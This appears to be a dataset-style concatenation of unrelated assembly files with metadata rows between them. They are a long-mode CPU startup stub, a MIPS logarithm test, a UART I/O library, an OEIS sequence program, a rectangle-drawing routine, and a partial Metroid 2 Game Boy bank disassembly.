; Arguments:
; None
;
; Return Value:
; Does not return, jumps to StartPx_LMStub
;--
PMSTUB SEGMENT PARA PUBLIC 'CODE'
StartPx_PMStub:
;
; 32-bit protected-mode boot code goes here. We are still executing
; the low-memory, identity-mapped copy of this code.
;
; edi -> linear address of PROCESSOR_START_BLOCK
;
;
; Enable PAE mode (requisite for LongMode), load the tiled CR3
;
mov eax, DWORD PTR [edi] + PsbProcessorState + PsCr4
mov cr4, eax
mov eax, DWORD PTR [edi] + PsbTiledCr3
mov cr3, eax
;
; Set the long mode enable syscall in the EFER msr
;
mov ecx, MSR_EFER
rdmsr
or eax, MSR_LME OR MSR_SCE OR MSR_NXE
wrmsr
;
; Enable paging and activate long mode
;
mov eax, cr0
or eax, CR0_PG OR CR0_WP OR CR0_AM OR CR0_NE
mov cr0, eax
;
; Still in 32-bit legacy mode until we branch to a long mode
; code selector. This will branch to HalpLMStub in amd64s.asm.
;
jmp FAR PTR [edi] + PsbLmIdentityTarget
PMSTUB ENDS
END
| 21.519553
| 77
| 0.551402
|
c56255abebec895c406594e490d5ea716c37bb36
| 938
|
asm
|
Assembly
|
test/ir/logarithm.asm
|
shivansh/gogo
|
209b98f52e956fc4d4e66c07d337db721200f8c2
|
[
"MIT"
] | 24
|
2018-04-28T02:27:47.000Z
|
2021-12-08T00:25:13.000Z
|
test/ir/logarithm.asm
|
shivansh/gogo
|
209b98f52e956fc4d4e66c07d337db721200f8c2
|
[
"MIT"
] | null | null | null |
test/ir/logarithm.asm
|
shivansh/gogo
|
209b98f52e956fc4d4e66c07d337db721200f8c2
|
[
"MIT"
] | 5
|
2018-05-06T07:36:02.000Z
|
2019-09-13T09:40:55.000Z
|
# Test to find floor value of logarithm (base 2 and base 10) of a number
.data
nStr: .asciiz "Enter n: "
n: .word 0
i: .word 0
base2Str: .asciiz "log2(n): "
base10Str: .asciiz "\nlog10(n): "
.text
runtime:
addi $sp, $sp, -4
sw $ra, 0($sp)
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
.end runtime
.globl main
.ent main
main:
li $2, 4
la $4, nStr
syscall
li $2, 5
syscall
move $3, $2
sw $3, n # spilled n, freed $3
li $3, -1 # i -> $3
# Store dirty variables back into memory
sw $3, i
while:
lw $3, n # n -> $3
srl $3, $3, 1
lw $5, i # i -> $5
addi $5, $5, 1
# Store dirty variables back into memory
sw $3, n
sw $5, i
bgt $3, 0, while
li $2, 4
la $4, base2Str
syscall
li $2, 1
lw $3, i # i -> $3
move $4, $3
syscall
li $2, 4
la $4, base10Str
syscall
# Ideally
div $3, $3, 3
li $2, 1
move $4, $3
syscall
# Store dirty variables back into memory
sw $3, i
li $2, 10
syscall
.end main
| 14.212121
| 72
| 0.570362
|
4d36e4f09c4ae8394832ddb942e57e50597061bf
| 1,647
|
asm
|
Assembly
|
software/libs/uart.asm
|
Arkaeriit/Reflet-microcontroler
|
ad41a74f060601d2eb4b16abb4a3a3fd59168d6f
|
[
"MIT"
] | null | null | null |
software/libs/uart.asm
|
Arkaeriit/Reflet-microcontroler
|
ad41a74f060601d2eb4b16abb4a3a3fd59168d6f
|
[
"MIT"
] | null | null | null |
software/libs/uart.asm
|
Arkaeriit/Reflet-microcontroler
|
ad41a74f060601d2eb4b16abb4a3a3fd59168d6f
|
[
"MIT"
] | null | null | null |
;-------------------------------------
;This file contains functions to use the UART for some basic IO
;---------------------
;Prints the char in R1
label printc
pushr R2 ;addrs
pushr R4 ;waiting loop pointer
setlab UART ;UART tx_cmd addr
load WR
tbm
cpy R2
setlab printcLoop
cpy R4
label printcLoop
load R2 ;testing that R2 is not 0 to see if we are ready to print
cpy R12
set 0
eq R12
read R4 ;until ready, go back
jif
set 1 ;computing the data addr
add R2
cpy R12
read R1 ;writing the char
str R12
set 0 ;sending command
str R2
tbm
popr R4 ;restoring registers
popr R2
ret
;----------------------------
;print \n\r
label CR
pushr R1
set 10
cpy R1
callf printc
set 13
cpy R1
callf printc
popr R1
ret
;------------------------------
;waits until a new char is received on the uart and the writes it to R1
label getc
pushr R2 ; periph addr
pushr R3 ; stores label
setlab UART
load WR
cpy R2
set 2
add R2
cpy R2 ;R2 now holds the rx_cmd address
setlab getcLoop
cpy R3
set 1
str8 R2 ;Now, there is a non-0 value in rx_cmd meaning that we know that when there will be a 0 back, we received a char
cpy R1 ;Used to temporaly store the value expected to be in rx_cmd
label getcLoop
load8 R2
eq R1
read R3
jif
set 1 ;A byte have been written, we can get it in rx_data register
add R2
cpy R2
load8 R2
cpy R1
popr R3 ;restauring stored value
popr R2
ret
| 21.38961
| 124
| 0.570735
|
bd8cee457e6fdbc492940ad9087da68d1bef2cfd
| 296
|
asm
|
Assembly
|
programs/oeis/146/A146883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/146/A146883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/146/A146883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A146883: a(n) = 6 * Sum_{m=0..n} 5^m.
; 6,36,186,936,4686,23436,117186,585936,2929686,14648436,73242186,366210936,1831054686,9155273436,45776367186,228881835936,1144409179686,5722045898436,28610229492186,143051147460936,715255737304686
mov $1,5
pow $1,$0
div $1,4
mul $1,30
add $1,6
mov $0,$1
| 29.6
| 197
| 0.760135
|
b9c3e6d9bca89cf3f737ca5a9a4feb2a0aadbc4e
| 711
|
asm
|
Assembly
|
src/gfx/FillRectangle.asm
|
beckadamtheinventor/BOSos
|
42471126eb47517fc1beec15960b72a9cb76601b
|
[
"BSD-3-Clause"
] | 1
|
2019-07-21T20:51:38.000Z
|
2019-07-21T20:51:38.000Z
|
src/gfx/FillRectangle.asm
|
beckadamtheinventor/BOSos
|
42471126eb47517fc1beec15960b72a9cb76601b
|
[
"BSD-3-Clause"
] | null | null | null |
src/gfx/FillRectangle.asm
|
beckadamtheinventor/BOSos
|
42471126eb47517fc1beec15960b72a9cb76601b
|
[
"BSD-3-Clause"
] | null | null | null |
;@DOES draws a filled rectangle to the back buffer
;@INPUT BC rectangle width
;@INPUT HL rectangle X coordinate
;@INPUT E rectangle Y coordinate
;@INPUT A rectangle height
;@DESTROYS HL,DE,BC,AF
gfx_FillRectangle:
ld d,LCD_WIDTH / 2
mlt de
add hl,de
add hl,de
ex de,hl
.computed:
ld (ScrapWord),bc
ld hl,LCD_BUFFER ; de -> place to begin drawing
.loop:
ld (ScrapByte),a
ld bc,(ScrapWord)
ld a,(color_primary) ; always just fill with the primary color
ld (de),a ; check if we only need to draw 1 pixel
inc de
dec bc
jp po,.skip
scf
sbc hl,hl
add hl,de
ldir ; draw the current line
.skip:
ld de,LCD_WIDTH ; move to next line
add hl,de
ld a,(ScrapByte)
dec a
jr nz,.loop
ret
| 19.75
| 64
| 0.697609
|
d7fc3a351d965e855cc802fa6bd4302f2a8b6cc5
| 873,304
|
asm
|
Assembly
|
asm/bank_006.asm
|
Vashy777/metroid2
|
a892576930f3d931c636665d7bd643c766b50a2a
|
[
"MIT"
] | 3
|
2021-11-10T05:01:19.000Z
|
2021-12-10T16:21:20.000Z
|
asm/bank_006.asm
|
Vashy777/metroid2
|
a892576930f3d931c636665d7bd643c766b50a2a
|
[
"MIT"
] | null | null | null |
asm/bank_006.asm
|
Vashy777/metroid2
|
a892576930f3d931c636665d7bd643c766b50a2a
|
[
"MIT"
] | 1
|
2021-11-11T08:38:11.000Z
|
2021-11-11T08:38:11.000Z
|
; Disassembly of "metroid2.gb"
SECTION "ROM Bank $006", ROMX[$4000], BANK[$6]
nop ; $4000: $00
nop ; $4001: $00
nop ; $4002: $00
nop ; $4003: $00
inc a ; $4004: $3c
inc a ; $4005: $3c
inc h ; $4006: $24
inc a ; $4007: $3c
ld a, [hl] ; $4008: $7e
ld d, d ; $4009: $52
ld a, [hl] ; $400a: $7e
ld a, [hl] ; $400b: $7e
ld c, d ; $400c: $4a
ld a, [hl] ; $400d: $7e
ld c, d ; $400e: $4a
ld a, [hl] ; $400f: $7e
nop ; $4010: $00
nop ; $4011: $00
ldh a, [$f0] ; $4012: $f0 $f0
inc e ; $4014: $1c
db $ec ; $4015: $ec
inc e ; $4016: $1c
db $f4 ; $4017: $f4
db $ec ; $4018: $ec
db $f4 ; $4019: $f4
inc e ; $401a: $1c
db $ec ; $401b: $ec
ldh a, [$f0] ; $401c: $f0 $f0
nop ; $401e: $00
nop ; $401f: $00
nop ; $4020: $00
nop ; $4021: $00
nop ; $4022: $00
nop ; $4023: $00
nop ; $4024: $00
nop ; $4025: $00
nop ; $4026: $00
nop ; $4027: $00
db $db ; $4028: $db
ld b, d ; $4029: $42
ei ; $402a: $fb
ld h, [hl] ; $402b: $66
ld a, d ; $402c: $7a
inc l ; $402d: $2c
ld c, d ; $402e: $4a
ld a, [hl] ; $402f: $7e
jr nc, jr_006_4032 ; $4030: $30 $00
jr_006_4032:
ldh a, [$b0] ; $4032: $f0 $b0
ld h, b ; $4034: $60
ldh [rSVBK], a ; $4035: $e0 $70
add b ; $4037: $80
jr_006_4038:
ldh a, [$c0] ; $4038: $f0 $c0
nop ; $403a: $00
ldh [$f0], a ; $403b: $e0 $f0
or b ; $403d: $b0
jr nc, jr_006_4040 ; $403e: $30 $00
jr_006_4040:
stop ; $4040: $10 $00
ld e, d ; $4042: $5a
nop ; $4043: $00
inc h ; $4044: $24
jr jr_006_40a6 ; $4045: $18 $5f
inc h ; $4047: $24
sbc $24 ; $4048: $de $24
inc a ; $404a: $3c
jr jr_006_40a7 ; $404b: $18 $5a
nop ; $404d: $00
ld [$1000], sp ; $404e: $08 $00 $10
nop ; $4051: $00
ld e, d ; $4052: $5a
nop ; $4053: $00
inc a ; $4054: $3c
jr jr_006_40d2 ; $4055: $18 $7b
inc h ; $4057: $24
ld a, [$2424] ; $4058: $fa $24 $24
jr jr_006_40b7 ; $405b: $18 $5a
nop ; $405d: $00
ld [$3c00], sp ; $405e: $08 $00 $3c
nop ; $4061: $00
ld a, [hl] ; $4062: $7e
nop ; $4063: $00
rst $20 ; $4064: $e7
nop ; $4065: $00
jp $c300 ; $4066: $c3 $00 $c3
nop ; $4069: $00
rst $20 ; $406a: $e7
nop ; $406b: $00
ld a, [hl] ; $406c: $7e
nop ; $406d: $00
inc a ; $406e: $3c
nop ; $406f: $00
inc a ; $4070: $3c
nop ; $4071: $00
ld h, [hl] ; $4072: $66
jr jr_006_4038 ; $4073: $18 $c3
inc h ; $4075: $24
add c ; $4076: $81
ld b, d ; $4077: $42
add c ; $4078: $81
ld b, d ; $4079: $42
jp Jump_006_6624 ; $407a: $c3 $24 $66
jr jr_006_40bb ; $407d: $18 $3c
nop ; $407f: $00
nop ; $4080: $00
nop ; $4081: $00
nop ; $4082: $00
nop ; $4083: $00
nop ; $4084: $00
rst $38 ; $4085: $ff
rst $38 ; $4086: $ff
nop ; $4087: $00
rst $38 ; $4088: $ff
nop ; $4089: $00
nop ; $408a: $00
rst $38 ; $408b: $ff
nop ; $408c: $00
nop ; $408d: $00
nop ; $408e: $00
nop ; $408f: $00
jr jr_006_40b6 ; $4090: $18 $24
jr jr_006_40b8 ; $4092: $18 $24
jr jr_006_40ba ; $4094: $18 $24
jr jr_006_40bc ; $4096: $18 $24
jr jr_006_40be ; $4098: $18 $24
jr jr_006_40c0 ; $409a: $18 $24
jr jr_006_40c2 ; $409c: $18 $24
jr jr_006_40c4 ; $409e: $18 $24
nop ; $40a0: $00
nop ; $40a1: $00
inc bc ; $40a2: $03
inc bc ; $40a3: $03
rlca ; $40a4: $07
inc b ; $40a5: $04
jr_006_40a6:
rrca ; $40a6: $0f
jr_006_40a7:
add hl, bc ; $40a7: $09
ld a, a ; $40a8: $7f
ld a, b ; $40a9: $78
rst $28 ; $40aa: $ef
sbc h ; $40ab: $9c
rst $28 ; $40ac: $ef
cp [hl] ; $40ad: $be
rst $18 ; $40ae: $df
ei ; $40af: $fb
ccf ; $40b0: $3f
ccf ; $40b1: $3f
ld c, a ; $40b2: $4f
ld a, b ; $40b3: $78
rst $38 ; $40b4: $ff
or b ; $40b5: $b0
jr_006_40b6:
rst $38 ; $40b6: $ff
jr_006_40b7:
ld e, [hl] ; $40b7: $5e
jr_006_40b8:
rst $38 ; $40b8: $ff
rst $38 ; $40b9: $ff
jr_006_40ba:
pop bc ; $40ba: $c1
jr_006_40bb:
ld a, a ; $40bb: $7f
jr_006_40bc:
adc h ; $40bc: $8c
di ; $40bd: $f3
jr_006_40be:
sbc [hl] ; $40be: $9e
pop hl ; $40bf: $e1
jr_006_40c0:
nop ; $40c0: $00
nop ; $40c1: $00
jr_006_40c2:
add b ; $40c2: $80
add b ; $40c3: $80
jr_006_40c4:
ret nz ; $40c4: $c0
ld b, b ; $40c5: $40
ld hl, sp+$38 ; $40c6: $f8 $38
db $e4 ; $40c8: $e4
inc a ; $40c9: $3c
db $ec ; $40ca: $ec
or h ; $40cb: $b4
and $ba ; $40cc: $e6 $ba
ld [c], a ; $40ce: $e2
cp [hl] ; $40cf: $be
nop ; $40d0: $00
nop ; $40d1: $00
jr_006_40d2:
inc bc ; $40d2: $03
inc bc ; $40d3: $03
ld c, $0d ; $40d4: $0e $0d
inc d ; $40d6: $14
dec de ; $40d7: $1b
db $10 ; $40d8: $10
rra ; $40d9: $1f
rra ; $40da: $1f
rra ; $40db: $1f
ccf ; $40dc: $3f
jr nz, jr_006_415e ; $40dd: $20 $7f
ld b, a ; $40df: $47
nop ; $40e0: $00
nop ; $40e1: $00
ldh [$e0], a ; $40e2: $e0 $e0
db $10 ; $40e4: $10
ldh a, [$08] ; $40e5: $f0 $08
ld hl, sp+$14 ; $40e7: $f8 $14
db $fc ; $40e9: $fc
inc [hl] ; $40ea: $34
db $ec ; $40eb: $ec
db $fc ; $40ec: $fc
call nz, $ecf4 ; $40ed: $c4 $f4 $ec
ld a, a ; $40f0: $7f
ld b, e ; $40f1: $43
ccf ; $40f2: $3f
ld h, $1f ; $40f3: $26 $1f
rra ; $40f5: $1f
add hl, bc ; $40f6: $09
rrca ; $40f7: $0f
ld c, $0b ; $40f8: $0e $0b
rrca ; $40fa: $0f
add hl, bc ; $40fb: $09
rlca ; $40fc: $07
rlca ; $40fd: $07
nop ; $40fe: $00
nop ; $40ff: $00
ld a, [c] ; $4100: $f2
ld a, $dc ; $4101: $3e $dc
ld a, h ; $4103: $7c
ldh [$e0], a ; $4104: $e0 $e0
call c, $d4bc ; $4106: $dc $bc $d4
ld l, h ; $4109: $6c
cp b ; $410a: $b8
ld a, b ; $410b: $78
ret nz ; $410c: $c0
ret nz ; $410d: $c0
nop ; $410e: $00
nop ; $410f: $00
rst $38 ; $4110: $ff
sbc b ; $4111: $98
cp [hl] ; $4112: $be
db $ed ; $4113: $ed
ld c, e ; $4114: $4b
ld a, a ; $4115: $7f
ld [hl], a ; $4116: $77
ld d, a ; $4117: $57
ld d, l ; $4118: $55
ld [hl], a ; $4119: $77
inc [hl] ; $411a: $34
scf ; $411b: $37
ld [bc], a ; $411c: $02
inc bc ; $411d: $03
jr_006_411e:
ld bc, $9e01 ; $411e: $01 $01 $9e
pop hl ; $4121: $e1
adc h ; $4122: $8c
di ; $4123: $f3
pop bc ; $4124: $c1
rst $38 ; $4125: $ff
cp $7f ; $4126: $fe $7f
db $fd ; $4128: $fd
ld h, l ; $4129: $65
ld hl, sp-$58 ; $412a: $f8 $a8
jr nc, jr_006_411e ; $412c: $30 $f0
ret nz ; $412e: $c0
ret nz ; $412f: $c0
jp nz, $c2fe ; $4130: $c2 $fe $c2
jr_006_4133:
cp $e2 ; $4133: $fe $e2
cp [hl] ; $4135: $be
db $f4 ; $4136: $f4
inc e ; $4137: $1c
ld c, b ; $4138: $48
cp b ; $4139: $b8
ldh a, [$f0] ; $413a: $f0 $f0
nop ; $413c: $00
nop ; $413d: $00
nop ; $413e: $00
nop ; $413f: $00
db $fc ; $4140: $fc
adc a ; $4141: $8f
ld sp, hl ; $4142: $f9
sbc [hl] ; $4143: $9e
ei ; $4144: $fb
sbc h ; $4145: $9c
ei ; $4146: $fb
call c, $feb9 ; $4147: $dc $b9 $fe
jr_006_414a:
cp b ; $414a: $b8
rst $28 ; $414b: $ef
ld a, h ; $414c: $7c
ld e, a ; $414d: $5f
ccf ; $414e: $3f
dec hl ; $414f: $2b
jr z, jr_006_414a ; $4150: $28 $f8
sub b ; $4152: $90
ld [hl], b ; $4153: $70
ret c ; $4154: $d8
jr c, jr_006_4133 ; $4155: $38 $dc
inc [hl] ; $4157: $34
sbc [hl] ; $4158: $9e
ld [hl], d ; $4159: $72
ld e, $fe ; $415a: $1e $fe
dec a ; $415c: $3d
ei ; $415d: $fb
jr_006_415e:
db $fd ; $415e: $fd
rst $20 ; $415f: $e7
nop ; $4160: $00
nop ; $4161: $00
inc bc ; $4162: $03
inc bc ; $4163: $03
rlca ; $4164: $07
nop ; $4165: $00
rra ; $4166: $1f
ld bc, $203f ; $4167: $01 $3f $20
ccf ; $416a: $3f
inc b ; $416b: $04
ccf ; $416c: $3f
ld c, $7f ; $416d: $0e $7f
dec bc ; $416f: $0b
ccf ; $4170: $3f
ccf ; $4171: $3f
ld c, a ; $4172: $4f
ld a, b ; $4173: $78
rst $38 ; $4174: $ff
or b ; $4175: $b0
rst $38 ; $4176: $ff
ld e, [hl] ; $4177: $5e
rst $38 ; $4178: $ff
db $d3 ; $4179: $d3
cp a ; $417a: $bf
ld h, c ; $417b: $61
rst $38 ; $417c: $ff
add hl, sp ; $417d: $39
rst $38 ; $417e: $ff
ld l, c ; $417f: $69
nop ; $4180: $00
nop ; $4181: $00
and b ; $4182: $a0
add b ; $4183: $80
ret nc ; $4184: $d0
ld b, b ; $4185: $40
ld hl, sp+$20 ; $4186: $f8 $20
db $ec ; $4188: $ec
inc [hl] ; $4189: $34
db $ec ; $418a: $ec
or b ; $418b: $b0
xor $b2 ; $418c: $ee $b2
and $ba ; $418e: $e6 $ba
nop ; $4190: $00
nop ; $4191: $00
inc bc ; $4192: $03
inc bc ; $4193: $03
rrca ; $4194: $0f
ld [$011e], sp ; $4195: $08 $1e $01
jr nc, jr_006_41a9 ; $4198: $30 $0f
ld e, a ; $419a: $5f
rra ; $419b: $1f
ccf ; $419c: $3f
jr nz, jr_006_421e ; $419d: $20 $7f
ld b, a ; $419f: $47
nop ; $41a0: $00
nop ; $41a1: $00
ldh [$e0], a ; $41a2: $e0 $e0
ldh a, [rNR10] ; $41a4: $f0 $10
ld a, b ; $41a6: $78
adc b ; $41a7: $88
inc [hl] ; $41a8: $34
jr_006_41a9:
call c, $ec34 ; $41a9: $dc $34 $ec
db $fc ; $41ac: $fc
call nz, Call_006_6cf4 ; $41ad: $c4 $f4 $6c
ld a, a ; $41b0: $7f
ld b, e ; $41b1: $43
ccf ; $41b2: $3f
ld b, $1f ; $41b3: $06 $1f
inc bc ; $41b5: $03
rra ; $41b6: $1f
nop ; $41b7: $00
rrca ; $41b8: $0f
ld [$0001], sp ; $41b9: $08 $01 $00
nop ; $41bc: $00
nop ; $41bd: $00
nop ; $41be: $00
nop ; $41bf: $00
ld a, [c] ; $41c0: $f2
jr nc, @-$2a ; $41c1: $30 $d4
ld [hl], b ; $41c3: $70
pop hl ; $41c4: $e1
ldh [$de], a ; $41c5: $e0 $de
or b ; $41c7: $b0
call c, $f864 ; $41c8: $dc $64 $f8
jr jr_006_41cd ; $41cb: $18 $00
jr_006_41cd:
nop ; $41cd: $00
nop ; $41ce: $00
nop ; $41cf: $00
ld a, a ; $41d0: $7f
jr jr_006_4251 ; $41d1: $18 $7e
dec l ; $41d3: $2d
ld c, e ; $41d4: $4b
ccf ; $41d5: $3f
ld [hl], a ; $41d6: $77
ld d, a ; $41d7: $57
ld [hl], c ; $41d8: $71
ld b, c ; $41d9: $41
inc [hl] ; $41da: $34
ld hl, $0012 ; $41db: $21 $12 $00
jr_006_41de:
ld [$ef00], sp ; $41de: $08 $00 $ef
push de ; $41e1: $d5
rst $18 ; $41e2: $df
and a ; $41e3: $a7
rst $18 ; $41e4: $df
xor e ; $41e5: $ab
sbc $37 ; $41e6: $de $37
db $fd ; $41e8: $fd
ld h, l ; $41e9: $65
ld hl, sp-$58 ; $41ea: $f8 $a8
jr nc, jr_006_41de ; $41ec: $30 $f0
ld b, b ; $41ee: $40
ld b, b ; $41ef: $40
add $7a ; $41f0: $c6 $7a
adc $f2 ; $41f2: $ce $f2
cp $a2 ; $41f4: $fe $a2
db $fc ; $41f6: $fc
inc d ; $41f7: $14
ld c, b ; $41f8: $48
jr_006_41f9:
cp b ; $41f9: $b8
ldh a, [$f0] ; $41fa: $f0 $f0
nop ; $41fc: $00
nop ; $41fd: $00
nop ; $41fe: $00
nop ; $41ff: $00
rst $38 ; $4200: $ff
adc a ; $4201: $8f
rst $38 ; $4202: $ff
sbc b ; $4203: $98
rst $38 ; $4204: $ff
sub b ; $4205: $90
rst $38 ; $4206: $ff
db $d3 ; $4207: $d3
cp a ; $4208: $bf
ld a, [$e7bf] ; $4209: $fa $bf $e7
ld a, e ; $420c: $7b
ld e, l ; $420d: $5d
ccf ; $420e: $3f
jr z, jr_006_41f9 ; $420f: $28 $e8
ld hl, sp-$10 ; $4211: $f8 $f0
ld [hl], b ; $4213: $70
ld hl, sp-$28 ; $4214: $f8 $d8
db $fc ; $4216: $fc
inc h ; $4217: $24
ld a, [hl] ; $4218: $7e
sub d ; $4219: $92
adc [hl] ; $421a: $8e
ld a, [hl] ; $421b: $7e
db $fd ; $421c: $fd
adc e ; $421d: $8b
jr_006_421e:
db $fc ; $421e: $fc
and $00 ; $421f: $e6 $00
nop ; $4221: $00
inc bc ; $4222: $03
inc bc ; $4223: $03
ld b, $05 ; $4224: $06 $05
rrca ; $4226: $0f
nop ; $4227: $00
rrca ; $4228: $0f
nop ; $4229: $00
rra ; $422a: $1f
inc b ; $422b: $04
dec de ; $422c: $1b
rlca ; $422d: $07
ccf ; $422e: $3f
ld [$3f3f], sp ; $422f: $08 $3f $3f
ld [hl], a ; $4232: $77
ld c, b ; $4233: $48
rst $28 ; $4234: $ef
sub b ; $4235: $90
rst $38 ; $4236: $ff
ld e, [hl] ; $4237: $5e
ld a, a ; $4238: $7f
rst $38 ; $4239: $ff
pop bc ; $423a: $c1
ld a, a ; $423b: $7f
adc h ; $423c: $8c
di ; $423d: $f3
sbc [hl] ; $423e: $9e
pop hl ; $423f: $e1
nop ; $4240: $00
nop ; $4241: $00
and b ; $4242: $a0
add b ; $4243: $80
ret nc ; $4244: $d0
ld b, b ; $4245: $40
ld hl, sp+$20 ; $4246: $f8 $20
add sp, $30 ; $4248: $e8 $30
db $ec ; $424a: $ec
or b ; $424b: $b0
and $ba ; $424c: $e6 $ba
and $ba ; $424e: $e6 $ba
nop ; $4250: $00
jr_006_4251:
nop ; $4251: $00
inc bc ; $4252: $03
inc bc ; $4253: $03
rlca ; $4254: $07
nop ; $4255: $00
inc e ; $4256: $1c
inc bc ; $4257: $03
jr nc, jr_006_4269 ; $4258: $30 $0f
ld e, a ; $425a: $5f
rra ; $425b: $1f
ccf ; $425c: $3f
jr nz, jr_006_42de ; $425d: $20 $7f
ld b, a ; $425f: $47
nop ; $4260: $00
nop ; $4261: $00
ldh [$e0], a ; $4262: $e0 $e0
ldh a, [rNR10] ; $4264: $f0 $10
ld a, b ; $4266: $78
adc b ; $4267: $88
inc d ; $4268: $14
jr_006_4269:
db $fc ; $4269: $fc
inc [hl] ; $426a: $34
db $ec ; $426b: $ec
db $fc ; $426c: $fc
call nz, $ecf4 ; $426d: $c4 $f4 $ec
ld l, [hl] ; $4270: $6e
ld d, c ; $4271: $51
ld e, a ; $4272: $5f
ld h, d ; $4273: $62
ld a, a ; $4274: $7f
ld b, d ; $4275: $42
dec a ; $4276: $3d
ld h, $1f ; $4277: $26 $1f
ld bc, $0007 ; $4279: $01 $07 $00
ld bc, $0000 ; $427c: $01 $00 $00
nop ; $427f: $00
db $fc ; $4280: $fc
inc e ; $4281: $1c
ld a, [$f408] ; $4282: $fa $08 $f4
db $10 ; $4285: $10
pop hl ; $4286: $e1
ldh [$fe], a ; $4287: $e0 $fe
sbc b ; $4289: $98
db $fc ; $428a: $fc
inc b ; $428b: $04
ld hl, sp+$38 ; $428c: $f8 $38
nop ; $428e: $00
nop ; $428f: $00
ccf ; $4290: $3f
inc c ; $4291: $0c
ccf ; $4292: $3f
inc b ; $4293: $04
ccf ; $4294: $3f
inc h ; $4295: $24
dec sp ; $4296: $3b
ld a, [hl+] ; $4297: $2a
add hl, sp ; $4298: $39
add hl, hl ; $4299: $29
ld a, [de] ; $429a: $1a
db $10 ; $429b: $10
add hl, bc ; $429c: $09
nop ; $429d: $00
inc b ; $429e: $04
nop ; $429f: $00
sbc [hl] ; $42a0: $9e
pop hl ; $42a1: $e1
adc h ; $42a2: $8c
di ; $42a3: $f3
pop bc ; $42a4: $c1
rst $38 ; $42a5: $ff
cp $bf ; $42a6: $fe $bf
db $fd ; $42a8: $fd
dec b ; $42a9: $05
ld hl, sp-$78 ; $42aa: $f8 $88
ld [hl], b ; $42ac: $70
ld [hl], b ; $42ad: $70
nop ; $42ae: $00
nop ; $42af: $00
add $fa ; $42b0: $c6 $fa
adc $f2 ; $42b2: $ce $f2
xor $b2 ; $42b4: $ee $b2
db $fc ; $42b6: $fc
inc d ; $42b7: $14
ld c, b ; $42b8: $48
cp b ; $42b9: $b8
ldh a, [$f0] ; $42ba: $f0 $f0
nop ; $42bc: $00
nop ; $42bd: $00
nop ; $42be: $00
nop ; $42bf: $00
db $fc ; $42c0: $fc
adc a ; $42c1: $8f
ld sp, hl ; $42c2: $f9
sbc [hl] ; $42c3: $9e
ei ; $42c4: $fb
sbc h ; $42c5: $9c
cp e ; $42c6: $bb
call c, $bed9 ; $42c7: $dc $d9 $be
jr_006_42ca:
ld hl, sp-$71 ; $42ca: $f8 $8f
ld a, h ; $42cc: $7c
ld e, a ; $42cd: $5f
scf ; $42ce: $37
dec hl ; $42cf: $2b
jr z, jr_006_42ca ; $42d0: $28 $f8
sub b ; $42d2: $90
ld [hl], b ; $42d3: $70
ret c ; $42d4: $d8
jr c, @-$22 ; $42d5: $38 $dc
inc [hl] ; $42d7: $34
sbc [hl] ; $42d8: $9e
ld [hl], d ; $42d9: $72
ld e, $f2 ; $42da: $1e $f2
ld a, $e2 ; $42dc: $3e $e2
jr_006_42de:
db $fc ; $42de: $fc
db $f4 ; $42df: $f4
nop ; $42e0: $00
rlca ; $42e1: $07
inc bc ; $42e2: $03
inc e ; $42e3: $1c
rrca ; $42e4: $0f
jr_006_42e5:
jr nc, jr_006_4303 ; $42e5: $30 $1c
ld h, e ; $42e7: $63
inc sp ; $42e8: $33
ld c, h ; $42e9: $4c
scf ; $42ea: $37
ret z ; $42eb: $c8
ld l, a ; $42ec: $6f
sub b ; $42ed: $90
ld l, a ; $42ee: $6f
sub b ; $42ef: $90
nop ; $42f0: $00
ldh [$c0], a ; $42f1: $e0 $c0
jr c, jr_006_42e5 ; $42f3: $38 $f0
inc c ; $42f5: $0c
ld hl, sp-$3a ; $42f6: $f8 $c6
db $fc ; $42f8: $fc
ld [hl-], a ; $42f9: $32
inc a ; $42fa: $3c
db $d3 ; $42fb: $d3
sbc [hl] ; $42fc: $9e
ld l, c ; $42fd: $69
sbc $29 ; $42fe: $de $29
ld a, a ; $4300: $7f
sub b ; $4301: $90
ld a, a ; $4302: $7f
jr_006_4303:
sub b ; $4303: $90
ccf ; $4304: $3f
ret z ; $4305: $c8
ccf ; $4306: $3f
ld c, h ; $4307: $4c
rra ; $4308: $1f
ld h, e ; $4309: $63
rrca ; $430a: $0f
jr nc, jr_006_4310 ; $430b: $30 $03
inc e ; $430d: $1c
nop ; $430e: $00
rlca ; $430f: $07
jr_006_4310:
or $01 ; $4310: $f6 $01
or $01 ; $4312: $f6 $01
db $ec ; $4314: $ec
inc bc ; $4315: $03
call z, Call_000_3802 ; $4316: $cc $02 $38
ld b, $f0 ; $4319: $06 $f0
inc c ; $431b: $0c
ret nz ; $431c: $c0
jr c, jr_006_431f ; $431d: $38 $00
jr_006_431f:
ldh [rP1], a ; $431f: $e0 $00
nop ; $4321: $00
nop ; $4322: $00
nop ; $4323: $00
nop ; $4324: $00
nop ; $4325: $00
nop ; $4326: $00
nop ; $4327: $00
nop ; $4328: $00
nop ; $4329: $00
ld bc, $0f01 ; $432a: $01 $01 $0f
rrca ; $432d: $0f
rra ; $432e: $1f
stop ; $432f: $10 $00
nop ; $4331: $00
ld a, $3e ; $4332: $3e $3e
ld c, c ; $4334: $49
ld a, a ; $4335: $7f
sub h ; $4336: $94
rst $38 ; $4337: $ff
and d ; $4338: $a2
db $dd ; $4339: $dd
ld [hl], $c9 ; $433a: $36 $c9
ld a, $e3 ; $433c: $3e $e3
db $dd ; $433e: $dd
rst $30 ; $433f: $f7
nop ; $4340: $00
nop ; $4341: $00
nop ; $4342: $00
nop ; $4343: $00
nop ; $4344: $00
nop ; $4345: $00
add b ; $4346: $80
add b ; $4347: $80
add b ; $4348: $80
add b ; $4349: $80
jr_006_434a:
ld b, b ; $434a: $40
ret nz ; $434b: $c0
ld a, b ; $434c: $78
ld hl, sp-$04 ; $434d: $f8 $fc
add h ; $434f: $84
nop ; $4350: $00
nop ; $4351: $00
nop ; $4352: $00
nop ; $4353: $00
nop ; $4354: $00
jr_006_4355:
